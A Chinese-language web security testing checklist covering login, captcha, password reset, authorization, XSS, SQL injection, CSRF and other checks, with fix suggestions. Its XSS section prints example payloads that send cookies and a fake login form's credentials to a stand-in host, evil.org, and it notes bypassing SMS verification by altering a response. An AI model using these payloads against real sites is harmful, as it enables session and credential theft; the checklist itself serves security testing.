WEB安全測試要點總結

1、大類檢查點：

 

2、測試項詳細說明

上傳功能

•  繞過文件上傳檢查功能
•  上傳文件大小和次數限制

註冊功能

• 註冊請求是否安全傳輸
• 註冊時密碼複雜度是否後臺校驗
• 激活連接測試
• 重複註冊
• 批量註冊問題

 登陸功能

• 登陸請求是否安全傳輸
• 會話固定：Session fixation attack(會話固定攻擊)是利用服務器的session不變機制，借他人之手得到認證和受權，而後冒充他人。
• 關鍵cookie是否HTTPONLY：若是Cookie設置了HttpOnly標誌，能夠在發生XSS時避免JavaScript讀取Cookie。

但不少Cookie須要給前端JS使用。因此這裏只須要關注關鍵Cookie,即惟一標識用戶及登陸狀態的會話標識須要添加這個屬性。

• 登陸請求錯誤次數限制
• 「記住我」功能：勾選「記住我」後，Cookie中記錄了用戶名和密碼信息。。。
• 本地存儲敏感信息

驗證碼功能

• 驗證碼的一次性
• 驗證碼繞過
• 短信驗證碼轟炸：若是這個接口沒有限制策略，就會被人惡意利用

忘記密碼功能

• 經過手機號找回：不過因爲程序設計不合理，致使能夠繞太短信驗證碼，從而修改別人的密碼。（使用burpsuite抓包，修改響應值true）
• 經過郵箱找回

密碼安全性要求

• 密碼複雜度要求
• 密碼保存要求

 橫向越權測試
不一樣用戶之間session共享，能夠非法操做對方的數據。
縱向越權測試
不少應用簡單的經過前端判斷，或者低權限角色看不到對應的菜單，但並未在後臺去作當前登陸用戶是否有權限。

• XSS測試

跨站腳本攻擊(Cross Site Scripting)：惡意攻擊者往Web頁面裏插入惡意Script代碼，當用戶瀏覽該頁之時，嵌入其中Web裏面的Script代碼會被執行，從而達到惡意攻擊用戶的目的。

• 反射型XSS

利用請求參數param2，進行XSS注入，設置js等可執行或可跳轉語句。param2=<script>document.write('<imgsrc="http://evil.org?grabcookie.jsp?cookie='+encodeURI(document.cookie)+'"/>')</script>。
這個網站的已登陸用戶去點擊，cookie會被髮送到 evil.org 上去。

處理意見：對特殊字符轉義輸出，特別是'"<>這幾個。

• 存儲型XSS

 在論壇上發表帖子，假設論壇有漏洞，能夠在帖子中注入下面的JS內容：
<script>

document.body.innerHTML="<h1>PleaseLogin</h1><form

action=http://evil.org/grabpassword.jspmethod=post><br>User name:<input type=text

name=user><br>Password:<inputtype=text name=password></p><input type=submit

name=login></form>

</script>
當其餘用戶瀏覽該帖子時，就會彈出登陸框，如圖（用戶名+密碼登錄界面）。

這是頁面中注入的XSS生成的，若是您輸入了帳號密碼，那就被髮送給黑客了。

處理意見：對特殊字符轉義輸出，特別是以下幾個'"<>

• DOM型XSS

基於DOM型XSS樣例，相比較與Reflected、Stored XSS屬於server side execution issues而言，DOM based XSS 是client(browser)side execution issue。

Step1：以下面請求的hash部分，由客戶端JS動態執行產生XSS注入。

http://www.webapp.com/example.jsp?param1=value1#\u003ciframeonload=alert('xss')\u003e

Step2：動態生成：<divid="m"><iframeonload="alert('xss')"></iframe></div>

這個比較難測試，通常須要閱讀頁面中的JS代碼，去分析。沒有固定的測試步驟，仍是須要你們本身多學習。不做爲強制項，WebInspect掃過便可。

處理意見：對特殊字符轉義輸出，特別是'"<>。

SQL注入測試
SQL注入攻擊的基本原理是經過構建特殊的輸入參數，迫使後臺數據庫執行額外的SQL語句，從而達到獲取數據庫數據的目的。

這些輸入參數每每包含惡意的SQL注入語句，後臺處理程序沒有對這些參數進行過濾，且所使用的數據庫查詢手段爲拼接方式，進而致使敏感數據外泄。

在動態構造SQL語句的過程當中，除了特殊字符處理不當引發的SQL注入以外，錯誤處理不當也會爲Web站點帶來不少安全隱患。

最多見的問題就是將詳細的內部錯誤信息顯示給攻擊者。這些細節會爲攻擊者提供與網站潛在缺陷相關的重要線索。

在SQL注入的過程當中，若是Web服務器關閉了錯誤回顯，那麼是否是就安全了呢？答案顯然是否認的，攻擊者仍然能夠經過 "盲注"技巧測試SQL命令是否注入成功。

所謂"盲注"就是在服務器沒有錯誤回顯時完成的注入方式，攻擊者必須找到一個方法來驗證注入的SQL語句是否執行。

"盲注"主要分爲兩種類型：基於時間的盲注和布爾盲注。

測試方法（黑盒）：sqlmap是一個自動化的SQL注入工具，其主要功能是掃描，發現並利用給定的URL的SQL注入漏洞，

測試方法（白盒）：若是項目的數據庫持久層框架是mybatis，而且他的sqlmap中編寫方式都是使用#{xxx}方式，而非使用${xxx}方式，就不存在SQl注入問題。

注：sqlMap中儘可能不要使用$;$使用的是Statement（拼接字符串），會出現注入問題。#使用的是PreparedStatement（相似於預編譯），將轉義交給了數據庫，不會出現注入問題；前者容易出現SQL注入之類的安全問題，因此mybatis推薦使用#。

寫接口限制測試
好比：找回密碼的郵件。屢次調用，形成郵件轟炸。
新增的接口，如寫文章、上傳文件等。這些接口若是沒有任何限制，那麼惡意用戶使用程序無限循環的調用接口，就會寫入大量的數據。經過併發、循環方式上傳大量文件，填滿磁盤，消耗服務器資源。
修復建議：對寫入量大的接口（如上傳）作必要的限制。
CSRF測試
CSRF（Cross-site requestforgery），中文名稱：跨站請求僞造。用戶C在爲退出A的狀況下，瀏覽B，B使用C的session非法訪問A。

檢查：

Ø  是否有防護CSRF的隨機數。驗證碼、csrf_token等都是。 有則 （經過）

Ø  是否驗證referer。有則（經過）

Ø  請求的參數都可推測，無CSRF防護機制。（不經過）

測試中，須要對全部寫接口檢查，能夠採用以下方式，記錄接口，標記是否已檢查。

修復建議：

Ø  方法1：驗證碼

驗證碼制用戶必須與應用進行交互，才能完成最終請求。所以在一般狀況下，驗證碼可以很好地遏制CSRF攻擊。

可是這種方式易用性方面彷佛不是太好，而且對於簡單的圖形驗證碼也有不少繞過機制。防護CSRF的一種輔助手段

Ø  方法2：Referer 驗證

當瀏覽器發送一個HTTP請求時通常都會在Referer中代表發起請求的URL。

經過Referer咱們能夠經過判斷一個請求是否爲同域下發起的來防護CSRF，可是Referer可能會包含一些敏感信息甚至在某些狀況下可以被僞造。

所以咱們沒法依賴於Referer來做爲防護CSRF的主要手段，可是能夠經過Referer來監控CSRF攻擊的發生。

Ø  方法3：Token驗證

在請求原參數不變的條件下，新增了一個隨機的、不可預測參數Token是目前最廣泛有效的方式。

後端在對數據處理前會首先對Token參數進行驗證，只有用戶請求中的Token與用戶Session（或Cookie）中的Token一致時，纔會認爲請求是合法的。

因爲Token的存在，攻擊者就沒法構造一個完整的請求實施CSRF攻擊，從而保證了網站或系統的安全。

敏感信息泄露
SVN信息泄露：有數據庫帳號和密碼等信息；

頁面泄露敏感信息：有些WEB應用，在返回給客戶端的響應中，包含了敏感信息，例如密碼。

 目錄遍歷
在web應用中，以下圖所示的顯示目錄文件列表，會帶來必定的安全隱患（服務器文件列表）。

 CRLF
CRLF就是HTTP響應頭拆分漏洞。是對用戶輸入的CR 和LF字符沒有進行嚴格的過濾致使的。

修復建議：過濾CR和LF字符。或者轉義。

任意文件讀取URL重定向點擊劫持ClickJackingXXESSRFCORS問題